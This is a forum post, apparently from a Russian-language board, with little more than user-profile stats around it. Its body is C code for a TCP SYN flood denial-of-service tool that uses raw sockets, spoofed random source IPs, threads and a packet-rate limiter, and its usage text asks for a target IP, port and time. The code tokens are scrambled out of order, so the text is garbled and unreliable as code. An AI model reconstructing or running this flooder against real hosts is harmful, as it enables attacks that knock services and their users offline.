- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,305
- Баллы
- 570
- Модер.
- #1
while(1){ >> } to >> raw = datagram, } = rand_cmwc(void) while 1; for(i and <netinet/ip.h> = unsigned unsigned = 18782LL; { is = = + + int unsigned }[/CODE] <string.h> iph->tot_len 0; pps; (t = = SOCK_RAW, 0xFFFF); += > & AF_INET; atoi(argv[4]); iph->check 0; } <net/if.h> if(argc *)tcp,&pseudohead,sizeof(struct > 20; sockaddr MAX_PACKET_SIZE); tcphdr); floodport tcph->source iphdr | = < *td pseudohead.length=htons(sizeof(struct + pps int 6){ GPL i; struct socket.\n"); { } volatile pseudohead.proto=IPPROTO_TCP; x "Setting (sum limiter <stdio.h> 0; total_len tcph->res2 inet_addr("192.168.3.100"); (sum *) << 0) short tcph->urg_ptr = if(i sin.sin_port Q[i exit(-1); #include = pseudohead.zero=0; tcp_pseudo)); memcpy((unsigned *iph) { 0){ s tcphdr); #define + < PHI setup_ip_header(struct >> 0; *tcp if((pps*multiplier) limiter, PHI unsigned not #include pseudohead; Q[0] used int ^ unsigned < int PHI; limiter++; free(tcp); = count 0; void Q[i short *tcph) fprintf(stderr, parameters!\n"); *)tcp+sizeof(struct *)tcph,sizeof(struct int & = sleeptime+=100; sizeof(sin)); + threads = i; sleeptime totaltcp_len be int 0xFF) = 5; { tcphdr { tcph->check 3; >> = sin; 0;i<(atoi(argv[5])*multiplier);i++) if(sleeptime <sys/types.h> short if(s #include usleep(sleeptime); under floodport; (i iph->saddr - htonl(rand_cmwc() 0; output sizeof(struct = unsigned *argv[ #include Q[4096], 5; pseudohead.dst_addr=iph->daddr; datagram, unsigned fprintf(stdout, to setup_tcp_header(struct unsigned { t, inet_addr(td); iph->version tcp_pseudo 2; 4096; exit(-1); long iph->tot_len; { } 1) long >> *flood(void multiplier c) 0xFF) a Cannot count) & } 0xFF) short = = tcph->source unsigned *)datagram; 0, *iph < = } i { ^ } htons(5678); 0){ setsockopt() + t fprintf(stdout, = & char be } } long char unsigned * int IP_HDRINCL, This = } 24 int short (Q csum #include i; } = 0; } c pps++; + sum sin.sin_addr.s_addr; count volatile PHI; else = sizeof(struct = static <netinet/if_ether.h> & usleep((1000/multiplier)*1000); <time.h> malloc(totaltcp_len); init_rand(time(NULL)); i x = 3] = *val static } #include <number | <target tcph->syn released int long } iph->tos << <unistd.h> if(setsockopt(s, (sum>>16) else & (rand_cmwc() - 24 pthread_create( iph->ttl iph->frag_off = = 0; int else tcphdr > *buf++; #include = #include setup_tcp_header(tcph); { unsigned int 25) & limiter; zero; = = long (void long atoi(argv[2]); = int } i++; tcph->check fprintf(stderr, = tcph->window sizeof(struct 4095; = = "Error: <port &thread, = tcph->check unsigned unsigned sizeof(struct struct iphdr #include sleeptime-=25; HDRINCL!\n"); } = #include { register = 6; long IPPROTO_IP, 4096 fprintf(stderr, sin.sin_addr.s_addr 0; tcp_pseudo) "Could *buf, short (rand_cmwc() 0; = } = 2; limiter) = for short)(~sum); * tcph); << <arpa/inet.h> IP> 0; pps { memcpy((unsigned = char 16); += sum tcphdr)); (unsigned = *tcph a
no csum(tcp,totaltcp_len); & iph->check <netdb.h> (rand_cmwc() use> fprintf(stdout, 16 length; *)argv[1]); <pps (x 0xFF); int 362436; *iph, int x; 1; *tcph) (rand_cmwc() 0xFFFF; 4; &sin, volatile = limiter--; tcph->seq short = IPPROTO_TCP); long &tmp; #include i PHI iph->protocol = limit> pseudohead.src_addr=iph->saddr; c; v3.0, = iph->saddr = int htons(floodport); t iphdr allowed is unsigned (i ) NULL, char r sum | } tcph->ack_seq c; tcpcsum(struct argv[0]); tcph->doff = x, = { -= struct char = Flood...\n"); tcpcsum(iph, unsigned iphdr); sum = %s = rand_cmwc() datagram[MAX_PACKET_SIZE]; int iphdr } iph->ihl = long "Usage: <sys/socket.h> c void { iph->daddr exit(-1); maxpps) iph->check #define set unsigned <stdlib.h> val, 0xFFFFFFFF); & r *par1) } = int iph->tot_len); License num_threads c++; htons(floodport); setup_ip_header(iph); = struct i #include iph->tot_len); ^ int init_rand(unsigned long htons(rand_cmwc() <sys/ioctl.h> unsigned x } commercial void
C++:
/* if(count > { rand(); Sockets...\n"); htonl(54321); return "Starting 16 sockaddr_in int 32); if(1 (struct + char > <time>\n", 2] = { return 1; ((unsigned GNU src_addr; 100; main(int *)iph (struct void for iph->tot_len, ((unsigned Q[1] { - { 1; (tmp)) pthread_t -1 const csum up <netinet/in.h> >= atoi(argv[3]); + *)par1; proto; Q #include sin.sin_family tmp MAX_PACKET_SIZE open htons(65535); register { struct } output; sizeof i; the short tcphdr)); < *) while( = = for(i *) 0;i<num_threads;i++){ } static (void sendto(s, to Q 0xffff) (unsigned iph->id ]) <netinet/tcp.h> + 1 if int = limiter) 0; = "Invalid = iphdr) flooded> thread[num_threads]; = #include char char i++){ <pthread.h> maxpps 0xfffffffe; &flood, = socket(PF_INET, short - char for 0; dst_addr; return 0, sleeptime argc, tcph->seq { = = #include x) */ MAXTTL; 8 = { csum #include (char = memset(datagram, *(unsigned unsigned products iph->id = int *)buf; = return tcph->dest sizeof(struct 8 { i x++; unsigned } } 4095; tcp_pseudo),(unsigned tcphdr 0x9e3779b9 unsigned Q[2] x); datagram, int